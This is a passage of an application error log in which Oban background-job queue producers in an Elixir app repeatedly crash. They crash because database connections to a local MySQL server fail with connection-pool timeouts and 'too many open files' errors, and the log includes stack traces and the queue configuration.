#Reference<0.2525715032.1068498948.64390>, refresh_timer: #Reference<0.2525715032.1068498948.64389>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:33:36.238735Z], limit: 3, uuid: "3956e852-6f90-4512-805c-f07c7f8ee51a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:36.238740Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.201247>, refresh_timer: #Reference<0.2525715032.1077673987.43642>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:33:36.239785Z], limit: 5, uuid: "ef2eca25-e280-4d21-94c1-447f955e9aa0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:36.239790Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64393>, refresh_timer: #Reference<0.2525715032.1077673987.43666>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:33:36.240293Z], limit: 20, uuid: "67df940b-4e32-47ff-b077-50f7364dfad5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:36.240297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64391>, refresh_timer: #Reference<0.2525715032.1121189889.201236>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:49.413000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:50.657000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:50.806000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:52.413000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:55.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:57.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:59.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:33:48.239308Z], limit: 5, uuid: "899bc05f-18a7-4654-80bb-ec3a3cb05222", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:48.239313Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64583>, refresh_timer: #Reference<0.2525715032.1068498948.64580>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:33:48.239129Z], limit: 5, uuid: "dbed71a9-7e30-480c-874e-d6a73beaa20d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:48.239134Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.201584>, refresh_timer: #Reference<0.2525715032.1077673987.43791>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:33:48.239314Z], limit: 20, uuid: "c72b73d7-623c-4673-9362-e429e4a06d49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:48.239320Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.201583>, refresh_timer: #Reference<0.2525715032.1121189889.201575>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:33:48.238598Z], limit: 50, uuid: "e2bdfc34-388f-4e5e-8e48-7635b06373e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:48.238605Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.201585>, refresh_timer: #Reference<0.2525715032.1068498948.64548>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:33:48.239152Z], limit: 10, uuid: "11ac7b32-1c01-48ad-8411-89857bee3e96", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:48.239157Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64582>, refresh_timer: #Reference<0.2525715032.1068498948.64568>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
